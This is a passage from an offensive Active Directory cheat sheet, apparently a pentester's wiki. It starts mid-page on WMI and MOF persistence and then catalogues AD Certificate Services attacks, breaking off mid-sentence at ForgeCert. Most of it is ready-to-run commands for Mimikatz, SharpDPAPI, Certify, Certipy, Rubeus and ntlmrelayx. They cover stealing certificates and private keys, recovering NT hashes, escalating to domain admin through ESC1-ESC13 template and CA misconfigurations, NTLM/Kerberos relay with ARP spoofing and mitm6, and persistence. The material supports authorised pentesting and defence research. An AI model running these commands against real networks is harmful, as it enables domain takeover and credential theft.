$consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{name=$filterName; CommandLineTemplate = $Payload}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null

Add-Persistence

The attack can be realised with the Add-Persistence.ps1 script from Nishang

Add-Persistence -PayloadScript .\Invoke-HelloWord.ps1 -Verbose

Can be reverted with Remove-Persistence.ps1

The script Persistence.psm1 from PowerSploit can work perfectly also, or WMIBackdoor.ps1by Matthew Graeber

MOF Files

  • MOF Files can be used for persistence

  • Same principe as above, but more noisy

  • Need to compile the file

mofcomp.exe ./test.mof
mofcomp.exe -autorecover ./test.mof
mofcomp.exe -N \\192.168.1.1\test\test.mof

Master script

Abusing Windows Managent Instrumentation

Security Descriptors

It's possible to modify Security Decriptors with WMI. Admin rights needed

Set security descriptor

Set-RemoteWMI.ps1 from Nishang permits user or group access rights to WMI namespaces, to access as an administrator

Set-RemoteWMI -UserName john -Verbose
Set-RemoteWMI -UserName john -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose

Only one namespace

Set-RemoteWMI -UserName john -namespace 'root\cimv2' -ComputerName 192.168.1.1 -Credential contoso\wmiadmin -Verbose

To remove the entries

Set-RemoteWMI -UserName john -Verbose -Remove

References

# Active Directory Certificate Services It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_). I will try to put as many links as possible at the end of the page to direct to more complete resources. Many commands are more explained [here](https://www.thehacker.recipes/ad/movement/ad-cs), where I have participate for AD-CS. ## Is there a CA ? Find the **Cert Publishers** group : * From UNIX-like systems: `rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%"Password" -S "DomainController"` * From Windows systems: `net group "Cert Publishers" /domain` Find the PKI : `crackmapexec ldap 'domaincontroller' -d 'domain' -u 'user' -p 'password' -M adcs` Find the CA from Windows : `certutil –config – -ping` Enumerate the HTTP ports on the servers, enumerate the shares to find **CertEnroll**, etc ## Certificate Theft ### Export user certificates with Crypto APIs - THEFT1 With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if **the private keys are exportable** : `certmgr.msc -> All Tasks → Export...` to export a password protected .pfx file. With PowerShell : ```powershell $mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText Export-PfxCertificate -Cert cert:\currentuser\my\ -FilePath ./export.pfx -Password $mypwd #Or with CertStealer #List all certs CertStealer.exe --list #Export a cert in pfx CertStealer.exe --export pfx ``` If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz : ```batch mimikatz # crypto::capi privilege::debug crypto::cng crypto::certificates /export ``` ### Certificate theft via DPAPI - THEFT2 & 3 #### User certificates With the master key : ```powershell #With SharpDPAPI SharpDPAPI.exe certificates /mkfile:key.txt #With Mimikatz #Export certificate and its public key to DER cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\ ./mimikatz.exe "crypto::system /file:43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export" Key Container : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #Find the master key (test them all until you find the good one) ./mimikatz.exe "dpapi::capi /in:ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad" pUniqueName : te-CYEFSR-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one guidMasterKey : {f216eabc-73af-45dc-936b-babe7ca8ed05} #Decrypt the master key ./mimikatz.exe "dpapi::masterkey /in:f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit key : 40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e6250576a2d105d30ff7164978280180567e sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70 #Decrypt the private key ./mimikatz.exe "dpapi::capi /in:\"Crypto\RSA\\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-c5fff1b0a3ad\" /masterkey:81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit Private export : OK - 'dpapi_private_key.pvk' #Build PFX certificate openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out public.pem openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` With a domain backup key to first decrypt all possible master keys : ```powershell SharpDPAPI.exe certificates /pvk:key.pvk ``` #### Machine certificates Same, but in a elevated context : ```powershell SharpDPAPI.exe certificates /machine ``` To convert a PEM file to a PFX : ```bash openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` ### Finding certificate files - THEFT4 To search for possibly certificate and key related files with Seatbelt : ```powershell ./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false" ./Seatbelt.exe InterestingFiles ``` Other interesting extensions : * `.key` : Contains just the private key * `.crt/.cer` : Contains just the certificate * .`csr` : Certificate signing request file. This does not contain certificates or keys * `.jks/.keystore/.keys` : Java Keystore. May contain certs + private keys used by Java applications To find what the certificate can do : ```powershell $CertPath = ".\cert.pfx" $CertPass = "Password123!" $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass) $Cert.EnhancedKeyUsageList #Or with a pfx certutil.exe -dump -v cert.pfx ``` Verify if a found certificate is the CA certificate (you are really lucky) : ```powershell #Show certificate thumbprint $CertPath = ".\cert.pfx" $CertPass = "Password123!" $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass) $Cert.Thumbprint #Verify CA thumbprint certutil.exe find /quiet ``` If they match, it's good. ### NTLM Credential Theft via PKINIT – THEFT5 When a TGT is requested with PKINIT, the **LM:NT hash** is added in the structure `PAC_CREDENTIAL_INFO` for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key. The structure can be unciphered if a TGS-REQ U2U is realised. It's called **UnPac-the-hash**. #### Windows ```powershell Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show ``` #### Linux ```bash # Authenticate and recover the NT hash certipy auth -pfx 'user.pfx' -no-save ``` ## Account Persistence ### User account persistence - PERSIST1 With a user account control on a domain machine, if a template that allows **Client Authentication** is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password. #### Windows ```powershell Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" ``` #### Linux If the user's password is known: ```bash certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template' ``` ### Machine account persistence - PERSIST2 With a machine account control, if a template that allows **Client Authentication** is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same). #### Windows ```powershell Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine ``` #### Linux If the machine's hash is known: ```bash certipy req -u 'machine@contoso.local' -hashes ':' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template' ``` ### Account persistence via Certificate Renewal - PERSIST3 The **renewal period** of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate. _The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself._ ## Domain Privesc ### Template Attacks - ESC1, 2, 3, 9, 10, 13 [![image-1640805125672.png](https://hideandsec.sh/uploads/images/gallery/2021-12/scaled-1680-/mlK5E1SH1D1CzLOG-image-1640805125672.png)](https://hideandsec.sh/uploads/images/gallery/2021-12/mlK5E1SH1D1CzLOG-image-1640805125672.png) * **ESC1** : SAN authorized & Low Privileged Users can enroll & Authentication EKU * **ESC2** : Low Privileged Users can enroll & Any or No EKU * **ESC3** : Certificate Request Agent EKU & Enrollment agent restrictions are not implemented on the CA * A template allows a low-privileged user to use an enrollment agent certificate. * Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication. #### Template misconfiguration - ESC1, 2 & 3 ##### Windows ###### ESC1 & 2 ```powershell # Find vulnerable/abusable certificate templates using default low-privileged group Certify.exe find /vulnerable # Find vulnerable/abusable certificate templates using all groups the current user context is a part of: Certify.exe find /vulnerable /currentuser # Request certificate with SAN Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" /altname:"admin" # Convert PEM to PFX (from Linux) openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx ``` If **ANY EKU** but no Client Authentication, it can be used as en **ESC3**. ###### ESC2 & 3 ```powershell # Request an enrollment agent certificate Certify.exe request /ca:CA.contoso.local\CA /template:Vuln-EnrollAgentTemplate # Request a certificate on behalf of another to a template that allow for domain authentication Certify.exe request /ca:CA.contoso.local\CA /template:User /onbehalfon:CONTOSO\Admin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd! ``` ##### Linux ###### ESC1 & 2 ```bash # enumerate and save text, json and bloodhound (original) outputs certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound # quickly spot vulnerable elements certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout #To specify a user account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local' #To specify a computer account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local' ``` If **ANY EKU** but no Client Authentication, it can be used as en **ESC3**. ###### ESC2 & 3 ```bash # Request a certificate specifying the Certificate Request Agent EKU certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' # Used issued certificate to request another certificate on behalf of another user certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx' ``` #### Extension misconfiguration - ESC9 & 10 * **ESC9** : No security extension, the certificate attribute `msPKI-Enrollment-Flag` contains the flag `CT_FLAG_NO_SECURITY_EXTENSION` * `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag (`0x4`) * The template contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value * The template specifies client authentication * `GenericWrite` right against any account A to compromise any account B * **ESC10** : Weak certificate mapping * Case 1 : `StrongCertificateBindingEnforcement` set to `0`, meaning no strong mapping is performed * A template that specifiy client authentication is enabled * `GenericWrite` right against any account A to compromise any account B * Case 2 : `CertificateMappingMethods` is set to `0x4`, meaning no strong mapping is performed and only the UPN will be checked * A template that specifiy client authentication is enabled * `GenericWrite` right against any account A to compromise any account B without a UPN already set (machine accounts or buit-in Administrator account for example) ##### Windows ###### ESC9 Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value. ```powershell #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to user3 Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose #Request vulnerable certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose #Authenticate with the certif and obtain user3 hash during UnPac the hash Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show ``` ###### ESC10 - Case 1 Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. ```powershell #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to user3 Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose #Request authentication certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"User" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose #Authenticate with the certif and obtain user3 hash during UnPac the hash Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show ``` ###### ESC10 - Case 2 Here, **user1** has `GenericWrite` against **user2** and want to compromise the domain controller **DC$@contoso.local**. ```powershell #Retrieve user2 creds via Shadow Credentials Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" #Change user2 UPN to DC$@contoso.local Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose #Request authentication certif with user2 Certify.exe request /ca:CA.contoso.local\CA /template:"User" #user2 UPN change back Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose ``` Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD. ##### Linux ###### ESC9 Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value. ```bash #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to user3 certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local #Request vulnerable certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate with the certif and obtain user3 hash during UnPac the hash certipy auth -pfx 'user3.pfx' -domain 'contoso.local' ``` ###### ESC10 - Case 1 Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. ```bash #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to user3 certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local #Request authentication certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate with the certif and obtain user3 hash during UnPac the hash certipy auth -pfx 'user3.pfx' -domain 'contoso.local' ``` ###### ESC10 - Case 2 Here, **user1** has `GenericWrite` against **user2** and want to compromise the domain controller **DC$@contoso.local**. ```bash #Retrieve user2 creds via Shadow Credentials certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2 #Change user2 UPN to DC$@contoso.local certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn 'DC$@contoso.local' #Request authentication certif with user2 certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User' #user2 UPN change back certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local #Authenticate through Schannel to realise a RBCD in a LDAP shell certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell ``` #### Issuance policiy with privileged group linked - ESC13 Issuance policy can be added to certificate template in the `msPKI-Certificate-Policy` attribute. Issuing policies are `msPKI-Enterprise-Oid` objects found in the PKI OID container (`CN=OID,CN=Public Key Services,CN=Services`, in the Configuration Naming Context). This object has an `msDS-OIDToGroupLink` attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by[ Jonas Bülow Knudsen](https://twitter.com/Jonas\_B\_K) [here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). ##### Windows Identify a template with an issuance policy. ```powershell Get-ADObject "CN='Vulnerable template',$TemplateContainer" -Properties msPKI-Certificate-Policy ``` Verify if an interesting group is linked to this policy. ```powershell Get-ADObject "CN=$POLICY_ID,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink ``` Then just request a certificate from the template. ```powershell .\Certify.exe request /ca:CA.contoso.local\CA01 /template:"Vulnerable template" ``` ##### Linux This [PR](https://github.com/ly4k/Certipy/pull/196) on Certipy permits to identify template with issuance policy, and which ones are linked to group. ```bash certipy find -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' ``` Then just request a certificate from the template. ```bash certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Vulnerable template' ``` ### Access Controls Attacks - ESC4, 5, 7 #### Sufficient rights against a template - ESC4 * [https://github.com/daem0nc0re/Abusing\_Weak\_ACL\_on\_Certificate\_Templates](https://github.com/daem0nc0re/Abusing\_Weak\_ACL\_on\_Certificate\_Templates) * [https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4](https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4) 1. Get Enrollment rights for the vulnerable template 2. Disable `PEND_ALL_REQUESTS` flag in `mspki-enrollment-flag` for disabling Manager Approval 3. Set `mspki-ra-signature` attribute to `0` for disabling Authorized Signature requirement 4. Enable `ENROLLEE_SUPPLIES_SUBJECT` flag in `mspki-certificate-name-flag` for specifying high privileged account name as a SAN 5. Set `mspki-certificate-application-policy` to a certificate purpose for authentication * Client Authentication (OID: `1.3.6.1.5.5.7.3.2`) * Smart Card Logon (OID: `1.3.6.1.4.1.311.20.2.2`) * PKINIT Client Authentication (OID: `1.3.6.1.5.2.3.4`) * Any Purpose (OID: `2.5.29.37.0`) * No EKU 6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack ##### Windows ```powershell # Add Certificate-Enrollment rights Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose # Disabling Manager Approval Requirement Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose # Disabling Authorized Signature Requirement Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose # Enabling SAN Specification Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose # Editting Certificate Application Policy Extension Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose ``` ##### Linux * Quick override and restore ```bash # Overwrite the certificate template and save the old configuration certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old # After the ESC1 attack, restore the original configuration certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json' ``` * Precise modification ```bash # Query a certificate template (all attributes) python3 modifyCertTemplate.py -template templateName contoso.local/user:pass # Query the raw values of all template attributes python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass # Query the ACL for a certificate template python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass # Disabling Manager Approval Requirement python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass # Disabling Authorized Signature Requirement python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass # Enabling SAN Specification python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass # Editting Certificate Application Policy Extension python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass ``` #### Sufficient rights against several objects - ESC5 * CA server’s AD computer object (i.e., compromise through RBCD) * The CA server’s RPC/DCOM server * Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.) #### Sufficient rights against the CA - ESC7 * [https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7) ##### Windows * _If an attacker gains control over a principal that has the **ManageCA** right over the CA, he can remotely flip the `EDITF_ATTRIBUTESUBJECTALTNAME2` bit to allow SAN specification in any template_ ```powershell # If RSAT is not present on the machine DISM.exe /Online /Get-Capabilities DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0 # Install PSPKI Install-Module -Name PSPKI Import-Module PSPKI PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access $configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com" $configReader.SetRootNode($true) $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy") # Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output) certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags" reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags ``` * _If an attacker gains control over a principal that has the **ManageCertificates** right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection_ ```powershell # Request a certificate that requires manager approval with Certify Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded ... [*] Request ID : 1337 # Approve a pending request with PSPKI PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest # Download the issued certificate with Certify Certify.exe download /ca:CA.contoso.local\CA01 /id:1337 ``` ##### Linux When it is not possible to restart the `CertSvc` service to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2 attribute`,the built-in template **SubCA** can be usefull. It is vulnerable to the **ESC1** attack, but only **Domain Admins** and **Enterprise Admins** can enroll in it. If a standard user try to enroll in it with [Certipy](https://github.com/ly4k/Certipy), he will encounter a `CERTSRV_E_TEMPLATE_DENIED` errror and will obtain a request ID with a corresponding private key. This ID can be used by a user with the **ManageCA** _and_ **ManageCertificates** rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID. * With **ManageCA** right it is possible to promote new officier and enable templates ```bash # Add a new officier certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user' # List all the templates certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates # Enable a certificate template certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA' ``` * With **ManageCertificates** AND **ManageCA** it is possible to issue certificate from failed request ```bash # Issue a failed request (need ManageCA and ManageCertificates rights for a failed request) certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100 # Retrieve an issued certificate certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100 ``` ### CA Configuration - ESC6, 12 #### EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 If the CA flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10. ##### Windows ```powershell # Find info about CA Certify.exe cas # Find template for authent Certify.exe /enrolleeSuppliesSubject Certify.exe /clientauth # Request certif with SAN Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin" ``` ##### Linux ```bash # Verify if the flag is set certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN" #To specify a user account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local' #To specify a computer account in the SAN certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local' ``` #### Shell access to ADCS CA with YubiHSM - ESC12 Administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage. This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. "_In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext._" With an access to the PKI server, it is possible to either redirect the the YubiHSM connection to a controlled machine, or import the PKI certificate and retrieve its private key to forge arbitrary certificate. Everything is explained [here](https://www.thehacker.recipes/a-d/movement/ad-cs/certificate-authority#shell-access-to-adcs-ca-with-yubihsm-esc12). ### Relay Attacks - ESC8, 11 #### HTTP Endpoint - ESC8 If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay. ##### NTLM Relay ```bash # Prepare relay ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name" #Or certipy relay -ca ca.contoso.local # Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc) ``` ESC8 with NTLM relay can be performed from a WSUS poisoning. ```bash #arpspoofing between the target and the WSUS server #In a first terminal sudo arpspoof -i enp0s3 -t #In a second terminal sudo arpspoof -i enp0s3 -t #Redirect WSUS trafic to port 80 sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80 sudo socat TCP-LISTEN:8530,fork TCP:80 # Prepare relay and wait for an authentication ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Computer" ``` ##### Kerberos Relay It is possible with the last versions of **mitm6** and **krbrelayx**. ```bash #Setup the relay sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine #Run mitm6 sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay CA.contoso.local -v ``` #### RPC Endpoint - ESC11 Certificate request can be realised through the **MS-ICPR** RPC endpoint. If the flag `IF_ENFORCEENCRYPTICERTREQUEST` is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, **Windows Servers < 2012** and **Windows XP** clients need the flag to be removed for compatibility. If `Enforce Encryption for Requests : Disabled` appears on the Certipy CA enumeration output, relay is possible (use this Certipy [fork ](https://github.com/sploutchy/Certipy)and this Impacket [fork ](https://github.com/sploutchy/impacket)for the moment): ```bash ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support ``` ### Certifried (CVE-2022–26923) The CVE is well explained [here](https://www.thehacker.recipes/ad/movement/ad-cs/certifried). The right to create a computer account or the write rights over an existing account are needed. #### Windows ```powershell #Clean the SPNs on the controlled computer account Set-ADComputer -ServicePrincipalName @{} #Set the dNSHostName value to the name of a computer account to impersonate Set-ADComputer -DnsHostName dc.contoso.local #Request a certificate Certify.exe request /ca:CA.contoso.local\CA /template:"Machine" ``` #### Linux To check if the CVE is present, request un certificate as a user. If Certipy print `Certificate object SID is [...]`, the CVE cannot be exploited. ```bash #Clean the SPNs on the controlled computer account bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=,CN=Computers,DC=contoso,DC=local' serviceprincipalname '[]' #Set the dNSHostName value to the name of a computer account to impersonate bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=,CN=Computers,DC=contoso,DC=local' dnsHostName '["dc.contoso.local"]' #Request a certificate certipy req -u '@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Machine' ``` ## Domain Persistence ### Forge certificates with stolen CA certificate - DPERSIST1 With the **CA Certificate** it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the **THEFT2** section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the **Issuer** and the **Subject** are the CA itself. Side note: since a forged certificate has not been issued by the CA, it cannot be revoked... #### Windows With the certificate and the private key in PFX format, ForgeCert can be 